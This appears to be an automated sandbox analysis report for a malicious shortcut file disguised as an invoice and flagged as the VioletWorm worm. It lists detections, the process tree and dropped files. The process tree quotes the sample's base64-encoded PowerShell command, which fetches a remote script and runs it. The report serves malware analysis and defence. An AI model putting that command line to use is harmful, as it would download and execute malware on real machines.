Analysis
- max time kernel
299s - max time network
299s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
25/03/2026, 01:55
General
- Target lnvoice53313173.lnk
- Size 1KB
- Sample260325-cb94eahy81
- SHA256 4897de406fdc6bd1f447047fb80adc0b966f2f7f79eaa55b6ad888801b6c1857
Malware Config
Signatures
- Detects VioletWorm 6 IoCs
- VioletWorm
VioletWorm is a Windows worm written in C#.
- Violetworm family
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Drops startup file 1 IoCs
- Executes dropped EXE 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 64 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\lnvoice53313173.lnk1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e aQBlAHgAKABpAHIAbQAgAGgAdAB0AHAAcwA6AC8ALwBhAGQAZABlAHIAYQBsAGwALgByAG8AYwBrAHMALwBiADcAdQBEAHgALgBwAHMAMQApAA==2⤵
- Badlisted process makes network request
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\etcvv0r4\etcvv0r4.cmdline"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES37E4.tmp" "c:\Users\Admin\AppData\Local\Temp\etcvv0r4\CSCF1F1C1F33CBD44F19AAF9543A8F45F3.TMP"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\gxjjscbkazn.exe"C:\Users\Admin\AppData\Local\Temp\gxjjscbkazn.exe" "C:\Users\Admin\AppData\Local\Temp\ceojifanoegymutsk"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
RES37E4.tmp
__PSScriptPolicyTest_r5nhscfe.j1b.ps1
ceojifanoegymutsk
etcvv0r4.dll
gxjjscbkazn.exe
otlizkwcnkexytho
CSCF1F1C1F33CBD44F19AAF9543A8F45F3.TMP
etcvv0r4.0.cs
etcvv0r4.cmdline
memory/2192-36-0x000001EDB2F70000-0x000001EDB2F80000-memory.dmp
memory/2192-11-0x000001EDB2F70000-0x000001EDB2F80000-memory.dmp
memory/2192-13-0x000001EDB2F70000-0x000001EDB2F80000-memory.dmp
memory/2192-14-0x000001EDB2F70000-0x000001EDB2F80000-memory.dmp
memory/2192-48-0x000001ED98B50000-0x000001ED98CFC000-memory.dmp
memory/2192-49-0x000001ED9A600000-0x000001ED9A60C000-memory.dmp
memory/2192-12-0x000001EDB35A0000-0x000001EDB3762000-memory.dmp
memory/2192-30-0x000001EDB2F60000-0x000001EDB2F68000-memory.dmp
memory/2192-3-0x000001EDB2F70000-0x000001EDB2F80000-memory.dmp
memory/2192-9-0x000001EDB2E40000-0x000001EDB2E62000-memory.dmp
memory/2192-35-0x000001EDB2E10000-0x000001EDB2E22000-memory.dmp
memory/2192-2-0x000001EDB2F70000-0x000001EDB2F80000-memory.dmp
memory/2192-34-0x000001ED9A600000-0x000001ED9A60C000-memory.dmp
memory/2192-33-0x000001ED98B50000-0x000001ED98CFC000-memory.dmp
memory/3148-55-0x00000000046B0000-0x00000000047D6000-memory.dmp
memory/3148-59-0x00000000078F0000-0x000000000798C000-memory.dmp
memory/3148-66-0x0000000009D40000-0x0000000009DD2000-memory.dmp
memory/3148-63-0x0000000007F30000-0x0000000007F37000-memory.dmp
memory/3148-62-0x00000000026C0000-0x0000000002724000-memory.dmp
memory/3148-61-0x00000000096B0000-0x0000000009716000-memory.dmp
memory/3148-60-0x0000000007F40000-0x00000000084E6000-memory.dmp
memory/3148-53-0x00000000046B0000-0x00000000047D6000-memory.dmp
memory/3148-54-0x00000000046B0000-0x00000000047D6000-memory.dmp
memory/3148-57-0x00000000046B0000-0x00000000047D6000-memory.dmp
memory/3148-56-0x00000000046B0000-0x00000000047D6000-memory.dmp
memory/3148-58-0x0000000004E10000-0x0000000004F22000-memory.dmp
memory/4708-31-0x0000015CBCCC0000-0x0000015CBCD96000-memory.dmp
memory/4708-51-0x0000015CBCCC0000-0x0000015CBCD96000-memory.dmp
memory/4708-52-0x0000015CBD000000-0x0000015CBD00C000-memory.dmp
memory/4708-32-0x0000015CBD000000-0x0000015CBD00C000-memory.dmp
memory/5300-24-0x000001B0E9480000-0x000001B0E948C000-memory.dmp
memory/5664-28-0x000002520C000000-0x000002520C00C000-memory.dmp
memory/5664-27-0x000002520A630000-0x000002520A706000-memory.dmp